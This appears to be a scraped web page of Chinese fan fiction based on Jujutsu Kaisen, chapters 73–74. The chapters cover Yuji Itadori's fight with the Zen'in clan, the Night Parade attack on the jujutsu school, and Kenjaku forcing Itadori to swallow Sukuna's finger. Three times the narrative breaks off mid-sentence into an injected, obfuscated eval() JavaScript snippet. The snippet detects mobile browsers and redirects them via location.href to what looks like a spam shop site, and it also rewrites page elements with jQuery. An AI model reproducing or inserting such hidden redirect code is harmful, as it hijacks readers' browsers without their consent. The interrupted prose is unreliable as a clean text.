负的咒力与负的咒力相乘所得到的便是诸多术师倾尽毕生所学也无法领悟的正极能量。五条悟曾说咒术师们的成长不是平缓增长的过程,而是在某个节点产生颠覆性的质变。
跨过这道门槛就能继续成长,没办法前进的话就只能一辈子留在原地打转了吧?借用伏黑惠的一句话:五条悟说的话——尤其是咒术方面——总是对的。
恐怖而无形的重压凭空出现,径直将无限加速的禅院直哉狠狠压向地面,一直挂着轻蔑的脸颊直接被压入满地泥污中,窜入鼻腔的土腥味令高傲的特别一级术师目眦欲裂。
崩裂的碎石土块和他一样凶猛地坠向地面,打在脸上的细小石子甚至让他产生了被职业棒球手打出的全垒打棒球击中的感觉。
他的余光瞥见稍远处的禅院兰太和禅院长寿郎也同样受到了重压的影响,只是他们还能勉强将自己的身体撑起来维持一下|体面,但他现在用尽全力也只能让手指抠挖着地面的泥土,平添狼狈。
生死狭缝间求生无门,当生存的空间被压缩到了极限,逼着人不得不做出改变的时候,身体和灵魂
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378211|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
同时为了保证能够继续活下去而自发寻找出了最后的出路,不管它们的主人是否期待着这样的改变。
虎杖悠仁用手背蹭了蹭嘴角,看到了留在皮肤上的红色。他终于得以喘息,然而在明悟术式反转的刹那涌入脑海的信息却不容乐观。正极能量还带来了术式反转之外的惊喜,只是现在的他无暇顾及这种能量更精密的利用方式。
生来便刻入大脑的回路中被灌入了全新的正极能量,术式反转的运转就像呼吸一样变成了某种本能,令虎杖悠仁瞬间理解了它能够带来的效果与限制。与被乙骨忧太复制走后展现出来的效果差不多,但在术式范围上仍有明显的差别。
以虎杖悠仁本人为中心,半径2到3米的范围内形成了一个超级重压区,在这个半径范围之外一直延伸到将近20米左右都是重力异常区,虽然没有重压区这样沉重到让人抬不起头,但从禅院兰太和禅院长寿郎的模样来看,顶着异常区的压力也会让人行动受限,举步维艰。
他还没搞懂禅院直哉的术式究竟是怎样运行的,只能匆匆将之归为“不能被碰到”,在只有6秒的重压持续时间内,虎杖悠仁必须立刻做出决断,找到一条求生之路。
这群人是真心实意带着冰冷的杀意而来,他必须想办法摆脱他们,亦或者将他们彻底打趴下......虎杖悠仁握紧拳头,在术式持续时间结束的一刹那立刻爆发,看准某一个方向暴冲起来。
禅院直哉感觉背后一轻,抬头之后看见虎杖悠仁狂奔的背影一闪而过。那种只能在视网膜上留下模糊虚影、连视线都无法捕捉的速度......
失去半侧视野的禅院兰太只听到了重物落在身侧的声音,狂风和地面的震颤同时传达到了他开始混乱的大脑里,在残酷训练中化作本能的战斗反应让他瞬间发动了术式,反噬流血的眼球像是被人用匕首戳烂了一样刺痛着,但另一只眼睛已经出现在了半空。
禅院长寿郎构造出的手掌在疾驰的虎杖悠仁面前也只能望而却步,在禅院兰太的术式生效前,虎杖悠仁已经抵达了他既定的位置,强硬地插入了两人之间,急停的力量直接让地面龟裂。
这是什么样的速度?!上一次让他产生这种感觉的人还是——!!
虎杖悠仁知道禅院兰太的术式能够依靠足够强大的肉|体力量突破,他再一次凭借蛮力挣脱了术式的桎梏,迎着禅院长寿郎在身前匆忙构筑出的手掌造物,一拳将这个老人砸了出去。
一群控制欲太强的混蛋们。
琥珀色的瞳仁骤然拉向眼角,他的余光瞥见了禅院直哉的身影。
速度在不断叠加着。因为感到自己被羞辱而产生的屈辱感让暴怒的禅院直哉不断拉高【投射咒法】的加速度,在空旷的地方,分镜动作的设定可以更加大胆、更具“重量感”。
力量是由什么来决定的?
速度。
禅院直哉挑战着物理法则的极限,脑海中的分帧灵感化作虎杖悠仁眼中被偷走的时间,在不断重复的动作设置中将术式的速度叠加到了无人能及的地步。
重量。
禅院直哉已经意识到虎杖悠仁的术式看起来有一段不短的间隔时间,可能和它的持续时间相等甚至更长,而且这个弱鸡在施用术式的时候没办法移动。别说他是因为不想杀人才取此下策,那才真是让人捧腹大笑了!!
极限加速度下挥拳的重量能够贯穿一切防御。
虎杖悠仁在察觉禅院直哉靠近的瞬息就开始跑动,但因为没有看透【投射咒法】的分帧方法而再一次被冻结了动作。1秒的定格让他结结实实地挨了禅院直哉直击腰腹的一拳,随着冻结的分镜动作被打碎,他整个人也倒飞了出去,一头撞入了夹在训练场和被损毁的建筑之间的常绿树林中。
禅院直哉甩了甩手。为了确保击中虎杖悠仁,他没有选择折断对方的脖颈,本以为刚才那一击就能够彻底让粉发少年失去行动能力,可关节处传来的打击感却让他没那么乐观。
“什么鬼?这种身体素质和力量,”禅院直哉嗤笑了一声,看着炳的人向虎杖悠仁落地的方向包围了过去,“难免让人想到甚尔,不过还差得远啊。”
杂鱼就是杂鱼,在泥巴里蹦得再欢,最后也只是俎上鱼肉罢了!
他随意瞥了一眼双目充血的禅院兰太和被击飞的长寿郎,嘴巴上毒得厉害:“被这种小鬼打得这么狼狈,也太没用了吧?”
禅院直哉似乎选择性忘记了他自己也在其中,但没人来得及苛责他的得意忘形,树林里传回了不太好的消息。
“哈?”禅院直哉恶狠狠地歪头,语气不善:“他能跑到哪里去?!这林子一共就这么大点地方,他还能飞到天上去吗?!”
然而他亲自深入林间也没能发现虎杖悠仁的踪迹。粉发少年就像突然人间蒸发了一样,只留下令人疑惑的奇怪残秽。
73. 第 73 章
虎杖悠仁赌对了。强悍的身体素质让他在被禅院直哉的重击击飞落地后迅速起身,而且他足够幸运,落点不在靠近训练场的方向,而是贴近了教会边缘的围墙,不然的话他只能跑向没有掩体的空旷地带,被发现是迟早的事。
隐藏气息的咒符起了作用,帮助他在“炳”的人将树林包围起来之前离开了那片区域。
他捂着肚子,闷声咳嗽了两下,嘴巴里的血腥味让他有些反胃。也可能是有被打中了腹部的原因在吧,他现在觉得疼痛已经开始向受击部位的四周蔓延开。他忍着强烈的呕吐欲望,强迫自己继续向前。
手机......没在身上,是战斗的时候从衣兜里掉出去了吗?得找个安全的地方借到手机给乙骨忧太打个电话,至少给他留个言。
那群人果然有备而来,只有事先知道他在哪里,才能够无视咒符的作用直直地找到了他的房间之外。
是谁?
如果是“妈妈”,她又为什么要如此大费周章?明明他的身上还有束缚在,根本不需要用这种方法把他逼出来。
冬日的残阳被远山吞掉了半个身子,惨淡的光没办法驱散周身的寒冷,迎面而来的风反而随着虎杖悠仁的前行而变得更加凛冽,他在自己呼出的白气中停下了脚步。
如有实质的寒冷降临在了他的身边,汤屋的烟囱里还不断向上冒着蒸腾的热气,可是虎杖悠仁却如坠冰窟,仿佛用于维持生命的空气在呼吸间变成了夺命的利器,切割着他的气管和脆弱的肺。
有人站在了他身前的不远处。
——
伏黑惠陪着津美纪待在家里,玉犬们就趴在他的脚边。针对东京和京都的诅咒行动没有波及到埼玉,可空气中还是能够感觉到令人不安的震颤,哪怕是街道上的商铺一刻不停地重复播放着圣诞歌曲也没办法驱散伏黑惠心头的焦虑。
这几天他完全联系不上虎杖悠仁,发给乙骨忧太的讯息也已读不回,似乎他们之间一直相互隐瞒的秘密就以这样让人难过的形式揭露开,打得他措手不及。
伏黑津美纪还在努力将家里装扮得更有节日氛围一些,看到她忙前忙后的样子,伏黑惠反倒庆幸了起来。
至少津美纪不会被卷进去。
“小惠,你一直都很焦躁不安,发生什么事了吗?是和朋友吵架了吗?”似乎是不自觉地忘记了伪装自己的表情,伏黑惠的心思被津美纪一下子揭穿了。
“......不,没什么,跟你没关系。”
为什么?为什么啊虎杖?你不是说不想成为诅咒师的吗?!还是说只是不得不卷进百鬼夜行的恐怖|行动中,被迫诅咒他人吗?
伏黑津美纪只能担忧地望着他,黑白色的小猫扒拉着玉犬的毛,玩得不亦乐乎。
五条悟对自己已经“被包围”这件事心知肚明,但他完全没有在乎的意思,站在他身旁的术师和辅助监督们看起来也没有人在乎这一点。这是“最强”之名带来的安全感,投射到整个咒术界上大概也是同理。
有五条悟在,这不过又是诅咒师们的一次以卵击石,就算对手是曾经同为特级咒术师的夏油杰也如是。至少对藏身于总监部的那些人来说,结果都是一样的。过程?他们不关心这些。
夏油杰没有出现在东京的战场前线。
“难道在京都?”五条悟捏着下巴自顾自地说。从他一周前大张旗鼓地跑到高专宣战的模样来看大概还是那个爱出风头的性子吧,不过嘛......他也说不太好啦。
“不过连忧太都被拉过来了吗?他到底跟那孩子说了什么啊......真是没救的家伙。”
伊地知洁高匆匆忙忙地跑到了五条悟的身边,手里还握着正在通话中的手机,和他说了什么。
五条悟听后并没有特别惊讶的反应,只是微微抬头看了一眼诅咒师们聚集的方向,随后扭头向学生们所在的方向走了过去。
哪怕隔着眼睛前的遮挡物,米盖尔也能感觉到自己的浑身上下都被某种视线一扫而过,彻底看穿了。
“难道已经被发现了?”米盖尔问。
菅田真奈美并不意外:“不如说能拖到现在才被发现已经很不容易了。菜菜子、美美子?”
躲在咒灵嘴中的枷场姐妹回应道:“怎么了?”
“要提前开始行动了哦。”
诅咒师们的首领夏油杰既不在东京,也没有出现在京都。伊地知洁高接到的报告是咒术高专所在的区域被“帐”覆盖了,当他急急忙忙地将这一消息告知五条悟后,今晚的百鬼夜行所有违和之处都在瞬间串通起来。
只是最基础的调虎离山,本来这一招不会让咒术师们倾巢而出,但夏油杰用自己的力量和最凶恶的诅咒师之名完成了这一壮举,甚至已经为五条悟挑选好了对手。
五条悟不觉得夏油杰费尽周折只身前往高专仅仅为了旧地重游,怀念一下他过去的青春而已。
“忌库?还是薨星宫?你还真是给我出了个难题啊。”他向狗卷棘等人招招手,语气轻快地吩咐道:“棘你们也感知到了吧?楼顶的那孩子就交给你们啦,务必拖住他给老师我争取时间才行呐。”
“啊?五条老师你还需要争取时间?”禅院真希不解:“把这边交给我们不就好了?”
“不行不行,”五条悟指了指身后,“那个外国佬有点难缠,我得先把他解决掉。”
熊猫拖长声音“嗯”了一声:“那我们这边的这家伙呢?感觉他的咒力量比悟你还要多很多呢。”
五条悟对一年级学生们抱有很大的期待,也对乙骨忧太持有相应的信任。信任这个与虎杖悠仁心意相通的孩子不会对自己的同龄人下手,如果他本来的任务就是拦住高专众人的话,这样多少也能继续拖延一些时间,让五条悟能在解决掉威胁最大的米盖尔之后立刻通过“苍”回到高专。
“是会有些棘手,不过抱歉,得拜托你们拼命拦住他了。”
禅院真希听明白了他的言下之意,只是轻轻地“嘁”了一声。都被这样拜托了,自然要全力以赴——听起来不是个随随便便就能应付的对手,这倒是让她有些兴奋起来了。
“鲑鱼!”狗卷棘坚定地点头。
半只脚踏出顶层,一直关注着下方状况的乙骨忧太也收到了准备行动的信号。他收起手机,摒弃了心中所有的浮躁与焦虑。他马上就会回去的。
下方的三个人......两人一熊猫,看起来像是五条先生的学生,现在已经毫不遮掩地抬头向自己的位置看了过来。是准备来拦住他吗?
眼神阴郁的黑发少年居高临下地回望,明明身边没有其他人,却仿佛在与什么人对话着一样,安抚着不存在的“某个人”的情绪:“不要着急,里香。不可以做得太过火,热身的动作要尽可能轻柔,等轮到我们真正上场的时候......你就可以尽情放手享受战斗了。”
祈本里香留给他的宝物在影子里发出愉悦的咕哝,迫不及待的心情似乎也影响到了乙骨忧太。他从未预想自己会像今天这样战意高昂,似乎即将开始的不是一场荒唐透顶的战斗。
他闭上狠狠闭上眼睛又猛地睁开,最后让自己清醒了一些,抬手接下了里香递出来的咒具。
悠仁,我果然......
乙骨忧太站立的房顶被人暴力地破坏了,戴着拳套的毛绒生物大喊着“欧拉欧拉欧拉”为自己的同伴们开辟出了一条最短的通路。
嘴角和舌尖印有同心圆咒纹的少年将下半张脸完全露了出来,携带着诅咒之力的语言向乙骨忧太袭来:“——不许动!!”
乙骨忧太行动受阻,不过狗卷棘的咒言只在他身上生效了不足2秒钟,术师本人就因为喉咙里涌出的大量鲜血而被迫中断了术式的施用。
“棘!这家伙,等级这么高的吗?!”禅院真希扛住了摇晃着身体的狗卷棘,此时他们和这个诅咒师少年处在同一片平台上,如此近距离的接触终于让三个一年级的学生察觉到了乙骨忧太身上异质且庞大咒力的来源。
“明、明太子......!”狗卷棘捂着喉咙,身体却不由自主地为从乙骨忧太身上散发出来的恐怖咒力而颤抖着。
这个和他们年纪差不多的少年看起来就像是被什么东西诅咒了一样......但又有些不同,可现在不是深究这些异常的时候。
“抱歉,”乙骨忧太横刀在身前,将咒力注入了手中锋利的咒具,“很快就会结束的。”
燃起的战斗欲望与兴奋感并非源自里香,而是他自己。是他期待着一场能够拼尽全力的战斗,这种隐秘的欲望大概从他出生起就藏在他身体中的每一个角落,一直以来被他忽视、亦或为了生存下去而主动隐瞒了起来。
悠仁一定早就发现了,所以在听到他主动说“想要去”的时候才没有阻止他的吧?
反正他就是个自私任性又冲动的家伙,索性在这里畅快地大闹一场,然后赶快结束这场闹剧吧。
悠仁还在等着他。
“你这混蛋,知道自己在干什么吗?!”禅院真希愤怒地说。狗卷棘推开了她扶住自己的手,不肯拖累自己的同伴。
咒言的术式效果威力越强,对术师本人的影响越大,如果术式对象的实力强过自己,在施术的时候则会受到严重的反噬,就像刚才狗卷棘试图固定住乙骨忧太的动作时一样。
“不许动”这个命令并非威力最大的咒言,比起“扭曲吧”、“去死吧”这样的咒言来说要温和许多,不过即便如此在乙骨忧太身上起到的效果也并不尽如人意,甚至直接反噬伤害到了狗卷棘的喉咙。
看来之后需要谨慎选择施放时机,挑选更温和无害的语言附加咒力。
这场超大型诅咒恐怖|袭击牵扯到了整个咒术界,在东京前线的战斗开始前,京都那边已经传来了有咒术师受伤的消息。家入硝子那边也已经忙得不可开交,而眼前这个黑发少年却全然一副不在乎的模样。
愤怒的禅院真希质问着乙骨忧太。
漆黑的双目黯淡无光,仿佛吸走了最后一丝天光的夜幕一样可怖,但他的声音表达出来的情感却与他冷峻的神情大相
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378212|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
径庭:“......我不知道。不,应该说直到刚才之前,我都没想明白。”
这家伙!!
熊猫没有贸然更换核心,准备先用自己的力量会会这个看起来与他们同龄的诅咒师。
夏油杰究竟想要做什么、他自己动摇的立场、颠覆本性的战斗欲望......种种复杂的问题几乎要将乙骨忧太压垮,像是将他围困在汹涌海面上的暴风雨,任他苦苦挣扎,嘲弄着他的无能为力。
可是,可是......即便如此,唯有一盏灯塔永远都会为他亮起。
在黑夜中如此醒目,乙骨忧太无论如何都无法放手。
“但是,”他压低眉眼,语气终于彻底冷了下来,“我有必须要战斗的理由。”
狗卷棘喝下润喉药,擦去脸颊旁流下的汗,摇着头说:“木鱼花。”
“......说的什么胡话?”禅院真希举起薙刀摆出架势,像训练中一样配合着狗卷棘和熊猫准备围攻乙骨忧太。
其实熊猫倒是觉得乙骨忧太这个人挺有意思的。它身为突然变异咒骸,生来就与周围的人不一样,对自己并非人类这个事实很有自觉,也不会觉得羡慕人类。毕竟人类有的时候很恶心的嘛,而且很难理解他们究竟在想什么。
大概是出于某种动物——熊猫不常这么想自己,但为了便于理解,大概就是这种感觉吧——的直觉,它觉得乙骨忧太身上充满了各种矛盾。明明想要畅快地战斗,却强迫自己变得谦逊。明明有坚定的战斗理由,却说不明白自己到底在干什么。
这个黑发少年的心中一定有必须要为之拼命努力的目标,但又一会儿犹豫不决,一会儿率直地表达自己的决意,实在让它搞不懂。
“嗯,不过我还是挺喜欢自己没有的东西的啦。”
熊猫率先发起了进攻。
——
羂索站在高专的“帐”外,气定神闲地等待着。
“怎么样,对这个容器还满意吗?”他又换了一具男性躯体,依旧是没什么咒术天赋的普通术师,但比起原先那具女性躯体要更好用一些。
有人带着极寒从天而降,落在了他的身后。羂索微微回头,叫出了来人的名字:“里梅?”
留着妹妹头的白发术师后脑有一片仿佛被鲜血染红的挑染,身着僧衣,起身后理了理衣摆。她和羂索同时抬头,看见了被浮动的小型冰山带过来的容器。
里梅已经很久没有用术式放开手战斗了。这具未“重启”前的女性容器长相和他本来的模样相似,只是咒术天赋欠缺了一些,但无伤大雅,用起来也算得心应手。
为了制服反抗激烈的虎杖悠仁,里梅不得不用上了一些粗暴的手段。
随她而来的冰山缓缓下落。过度冷却的咒力凝结而成的坚冰将粉发少年最后的反抗定格住,只能眼睁睁地感受着身体关节被寒冷的冰霜一寸寸冻结,像是倒霉地被裹入树脂中的虫蚁,头面也被完全隔绝的时候意味着它们的生命也进入了倒计时。
“别让他死了啊。”羂索心情很好地说道。
“我比你更在乎这个容器,羂索。少说没用的话,什么时候能开始?”里梅向前走了两步,有些难耐地望向被漆黑的结界笼罩住的地方。
她给虎杖悠仁留出了只能勉强呼吸的通道,让他处于缺氧却不至于彻底窒息的边缘,削减他的抵抗。
这一招奏效了,被死死困在坚冰中的虎杖悠仁已经彻底失去了反抗的力气,听不见也看不见,剩下的就只有毅力和某种执念还在源源不断地化作薪柴,企图在极寒的地狱中维持这具濒死的身体继续燃烧。
“请便。”羂索摆出了邀请的手势。
这样随意的态度令里梅心生疑虑。尽管是千年前的老相识,可里梅从未真正看清过羂索这个人。不能用寻常的思维来看待他——亦或是她,没人知道羂索成为“羂索”之前的一切——他所谋划的、值得等待千年的事都像他这个人一样笼罩在迷雾中,而从中伸出的触手总带着令人不寒而栗的吸引力。
盯着它就会有恐惧和不自量力的好奇心滋生。
里梅抬手,被冰捕获的猎物应声落地。她从怀中取出了一个木盒,打开后将里面被咒符包裹着的东西取了出来。
地上的身体还在抽动着,尽管已经失去了意识却仍在本能地挣扎。
冰冷的手钳住了虎杖悠仁的脸颊,在将木盒里的东西放进他的嘴巴里前,里梅问道:“为什么还要让那群术师特意跑去攻击容器?”
分明她亲自动手更高效,现在她不得不让宿傩大人在这样一具破损的容器中受肉。
羂索耸肩摊手:“只是一种后备手段罢了。夏油杰比我想象中的更疯狂,那些术师对我来说就没什么用了,哈哈。不必在意,就结果来看我们都很满意不是吗?”
“哼。”里梅松开手,在散发着邪恶诅咒的手指状咒物滑入容器的喉咙里后,推手扬起虎杖悠仁的头,看着他将咒物完完全全地吞入了腹中。
只要结果令人满意就好。过程?谁还会在乎过程呢。
74. 第 74 章
两面宿傩睁开了眼睛。
无聊。
在容器的记忆中畅游了一圈的诅咒之王发出这样的嗤笑。
虎杖悠仁......吞下封印着1/20灵魂的手指咒物的少年身上背负着枷锁,肉|体与自己的“老朋友”绑在了一起,灵魂交给了另一个少年。宿傩一眼就看穿了羂索留在这具身体上的恶趣味,面向他敞开的大门后是一间明晃晃的囚牢。
呵呵,就算他不住进去,这个可怜的、被玩弄着长大的容器本身已经完全成为了他人的俘虏,从精神到行动都被人掌控着,让宿傩连嘲弄的心思都生不出来。
流淌在记忆中的“爱”倒是令他侧目,饶有兴致地逐一观看了那些青涩又暧昧的情愫。由此,宿傩断言虎杖悠仁是个会在“爱”的面前悲惨死去的可怜虫,滑稽又可笑。
理解爱、嘲笑爱、拒绝爱的诅咒之王一脚踹上了为他准备的牢房大门,再一次闭上了眼睛。
无聊。
“羂索?!你在容器的身上干了什么好事?!!”暴怒的里梅对身侧的男人怒目而视,因为愤怒而隐隐失控的咒力让他们周围竟飘下了雪花。在夕阳彻底消失在山那侧的刹那,羂索扬起的嘴角戏弄着所有人。
两面宿傩拒绝了这个容器。
这倒是有趣的现象。在与羂索签订契约的诸多古代术师中,面对暌违千百年的自由,哪怕对他提供的容器不怎么满意,也没有人敢像宿傩这样直截了当地拒绝。
“不愧是唯我独尊的诅咒之王,”男人无视了里梅的质问,仰天笑了两声,“真是令人羡慕的自信。”
他终于想起安抚同盟者的情绪,对里梅说道:“你也看见了,这是宿傩自己的选择。你准备怎么办?等我的计划开始之后,也许会有更合适的容器也说不定。”
“你这混蛋......”里梅凝视着虎杖悠仁脸上只出现了一瞬就慢慢消失不见的咒纹,这纹路她再熟悉不过,可羂索说得不错,这是宿傩大人自己的选择。
诅咒之王的选择已经明晃晃地告知里梅,她必须要舍弃这具难得对宿傩大人的诅咒拥有耐受性的容器了。这个容器的身上一定被做了什么手脚,比起继续执着于这具被放弃的躯体,倒不如等羂索开启再现平安时代的计划后再去寻找更合适的容器。
“我们的合作还可以继续,”羂索游刃有余的笑脸让人不悦,他不再看向里梅,“要找齐所有的手指咒物并不简单,错过今天再想要进入忌库就需要另外计划。啊,对了。”
地上的粉发少年眼皮颤动着,已经出现了苏醒的迹象。羂索踱步来到他的身边,蹲下身,像是一位真正的母亲一样抚摸着他的头发:“这孩子要跟我走。不要用那种眼神看着我,里梅。缺少的手指我会用其他的东西还给你,不过得等计划走到那一步才行。”
他的眼睛转动了一下,斜斜地瞥向被“帐”覆盖住的地方。
千年计划即将进入尾声,羂索花了漫长的时间来完成这幅画卷,也已经为目之所及的未来和结尾勾勒好了草稿。
“呵,”不,说是‘结尾’并不尽然,应该严谨地承认那只是羂索计划的结尾,至于再往后、羂索真正期待着的东西还存在于看不真切的混沌中,令他那如同孩童般纯粹而恐怖的好奇心雀跃地跳动着,“该去见见老朋友了。”
“我要忌库里的手指。”里梅挥动衣袖,提出了合作的要求。
“成交。”羂索同意得很大方。
虎杖悠仁终于睁开了沉重的眼皮。他翻身趴在地上痛苦地呕吐着,可除了一些食物残渣之外没有任何异物,但他依旧觉得不停反胃,最后只能跪在那里干呕。
羂索单手撑着额头,饶有兴致地看着他。
原本这孩子只要成为了两面宿傩的容器,绵延千年的诅咒锁链就会重新连接在一起,属于“虎杖悠仁”这个存在的任务也就完成了。接下来就是将他裹上白色或者黑色的棋子外衣,扔到他该去、能去的地方将周围炸得粉碎就万事大吉。
然而两面宿傩没能受肉,这样的异常对羂索来说勉强算得上是某种惊喜。可仔细算来,这样的惊喜还是不够令人惊叹,毕竟是他把这个孩子打造得太像一个牢笼,他应该更加收敛一些才对。
“这样也好。”羂索从不知道后悔的味道,暂时失去了宿傩这个“助力”对他的计划影响不小,但想要继续推进也并不困难。不过是换掉一个棋子,将新的“助力”喂养得足够强大而已。
里梅已经离开了。
虎杖悠仁觉得嘴巴里太苦了,他虽然处在昏迷中,可被喂下某种东西的感觉仍留在了身体里,那东西难吃得要命,现在又混杂进了呕吐物的味道,实在让人难以忍受。
“那是什么?!你给我吃了什么?!”他晃动着因为缺氧而胀痛的脑袋,努力让视线聚焦在羂索的身上,哑声质问。
羂索娓娓解释道:“那是‘宿傩的手指’,封印着诅咒之王灵魂的特级咒物。”
那是——
羂索向“帐”的方向看了一眼,觉得时间差不多了,于是起身说道:“跟我来。”
虎杖悠仁待在原地没有动,琥珀色的眼睛在完全失去天光的此时此刻仍旧亮得可怕,带着某种决意。
“......”羂索似是无奈地叹气,有些失望地说:“如果一遇到自己解决不了的问题就想着去死,那就随你好了。我倒是觉得左右死亡就在身后,与其过早地放弃、留在原地等着被它追上,还不如像这个国家的大多数人一样被它驱赶着向前......哈哈,说到这里,你还算是与他们有些不同的。”
“人都爱暗示自己现实是恒常不变的,尽管生命与生活总是危机重重,可如果不是被逼到了极限,不得不做出选择的时候,按理来说应该殊死一搏才是,但大多数人连舍弃生命的勇气都没有,叫他们舍命搏一条出路自然也很难了。”
他背身站着,目光却始终越过诸多结界望向藏在高专下方的薨星宫,他的老朋友天元的居所。也许是可能到来的、时隔千年的重逢终于让他有了一些情绪波动,亦或是能听他唠叨这些话的人实在太少,所以不免侃侃而谈了起来。
“死亡是一件很简单的事。不过正因为想死的话随时都能死,更应该先向前迈一步才对,这样总归是离自己想要做到的事更近了一步,”羂索似是在对身后已经萌生死志的少年说话,又像是说给某些无处不在的人听,“对于连这种前进的勇气都没有、未曾体会过向理想迈步的实感就简单死掉的存在,我是十分厌恶的。”
说罢他直接抬脚,在跨入“帐”中的瞬间将这个结界破坏掉了。他如愿听到了身后跟上来的脚步声,了然地轻笑后,设下了全新的“帐”。
漆黑的结界在虎杖悠仁的身后重新落地,他的眼中虽然仍能看见未被完全舍弃的决心,但此刻却跟上羂索的步伐,不断追问道:“你到底想干什么?两面宿傩不是诅咒之王吗?为什么让我吃掉那个咒物?”
羂索选定了某个方向,似乎被什么东西指引着一样,带着虎杖悠仁穿越森林的同时解释了何为受肉。被吞下的特级咒物是由宿傩的手指制作而成的死蜡,封印着强大的咒力、无法被破坏,当同类型的咒物被人类摄取时,寄宿于咒物中的咒力的主人便能控制该人类的精神与肉|体,甚至改变肉|体的形态。
就像寄生在了身体中一样。
“但是,为什么我......”虎杖悠仁能够感受到腹部生成了异质的咒力,就像产生咒力的本源被外物污染了一样,整个人开始染上了危险又邪恶的气息。
“是啊,为什么呢?”羂索只是轻飘飘地重复着他的问题,听上去极尽敷衍。
“但是现在他没有,”虎杖悠仁盯着自己的手,在太阳落山的这短短不到一个小时的时间里发生了太多事,刻印在大脑中的术式在发烫——他勉强能够这么形容,新生的正极能量让他觉得新奇又害怕,除此之外似乎还有某种全新的回路正在雕刻着他的大脑,“既然你生下我就是为了让我成为容器,为什么现在还要带上我?为了你说的什么集合了一亿人咒力的东西?!”
羂索笑道:“你可以当我是一时兴起吧。”
也许这样的心情从生下这孩子的那一刻就已经贯穿了他的整个人生。
将命运搅弄得鸡犬不宁。
虎杖悠仁不知道他们现在在哪里,也不知道羂索要把他带到什么地方去。这里到处都是咒力残秽,看上去就像有无数术师在这里战斗过、生活过一样......夜幕下的森林总让他想起那个风雨交加的夜晚。联想到和乙骨忧太一起在森林里度过的那几天,虎杖悠仁觉得他和森林这样的环境实在不太搭,总是会发生不好的事。
至少乙骨忧太不在这附近。他没有感受到黑发少年磅礴的咒力,这多少能让他放下心来。
阴谋。从出生起、不,甚至他的出生都是为了达成某种目的而采取的手段,他的人生就这样被当做筹码、棋子,或是其他乱七八糟的东西随意摆弄着。
要为这样的人生而责备什么人吗?不,他已经决心要放弃探寻这些复杂的真相——真相的意义已经远不足生活和未来对他的吸引力,比起彻底搞清楚“妈妈”到底想要做什么,他更想和乙骨忧太一起继续活下去。
他和乙骨忧太之间建立起的羁绊是与这些阴谋、秘密全然无关的,仅凭他们自己的心意主动达成的联结,他不想放弃......他自私地将其当成了能够让自己更加理所当然地活下去的理由,哪怕连命运都背弃了他,至少他还有能够将之当成薪柴燃烧的东西。
原本他是这么想的。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378213|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
按照羂索的说法,他本该在吞下宿傩手指的瞬间成为诅咒之王的容器,只是宿傩的灵魂拒绝在他的体内扎根,但特级咒物确确实实地留在了他的身体里。
咒术的奥秘有时令人费解,有时也会带给人意料之外的惊喜。
虎杖悠仁身随意动,以手作刀,抬到了眼前。
走在他前方五六米远地方的男人驻足,为从身后感知到的属于诅咒之王的咒力回身,看见了粉发少年右手斜着切开空气的动作。
“虽然这么说有点自夸的成分,做人还是要谦逊一些得好,”羂索空手仅凭咒力防御挡下了这一记稚嫩的斩击,“不过,继承了‘我的血脉’,拥有这样的咒术天赋也不足为奇了。这可真是惊讶到我了,悠仁。”
两面宿傩拒绝受肉,但摄取特级咒物后,寄宿其中的咒力主人对容器的改造在眨眼间便已完成,虎杖悠仁的大脑中被刻入了全新的术式,那是独属于将诅咒之名化作完全的恐惧流传世间千年的、两面宿傩的生得术式——【御厨子】。
“我本来以为你至少还需要五六个月来适应这个术式,”羂索甩了甩手,亲自感受了一下虎杖悠仁斩击的力道,“这样倒是方便了很多。不过比起宿傩,这个斩击还是太过弱小了。”
就知道没办法轻易地杀了他。
虎杖悠仁也不觉得可惜,只是默默适应着这个全新的术式。
“这里到底是哪?你要带我去什么地方?”他问道。
“这里是位于筵山山麓的东京都立咒术高等专门学校,”羂索回答,“他们起的这个名字还挺一本正经的,哈哈。至于我们要去的地方......到了。”
这里是咒术高专?!是五条悟任教的地方,乙骨忧太收到的名片上写的就是这里的地址。
虎杖悠仁在一间佛寺的门前看到了两具倒在血泊中的尸体,还有他再熟悉不过的咒力。
“夏油先生的咒灵......?”
为什么会出现在这里?
“从这扇门进去就能抵达存放着诸多禁忌之物的‘忌库’,以及天元的居所薨星宫本殿。”羂索推开门,做出了邀请的姿态。
受到天元结界术的影响,高专境内诸多寺社佛阁的虚像中有超过1000扇不断变化着的门扉,其中有一个是通往薨星宫的大门。若没有被邀请或不使用特殊手段没办法找到真正的门,比他们更先抵达这里的夏油杰利用数量庞大的低等级咒灵突破了障眼法,找到了这个入口。
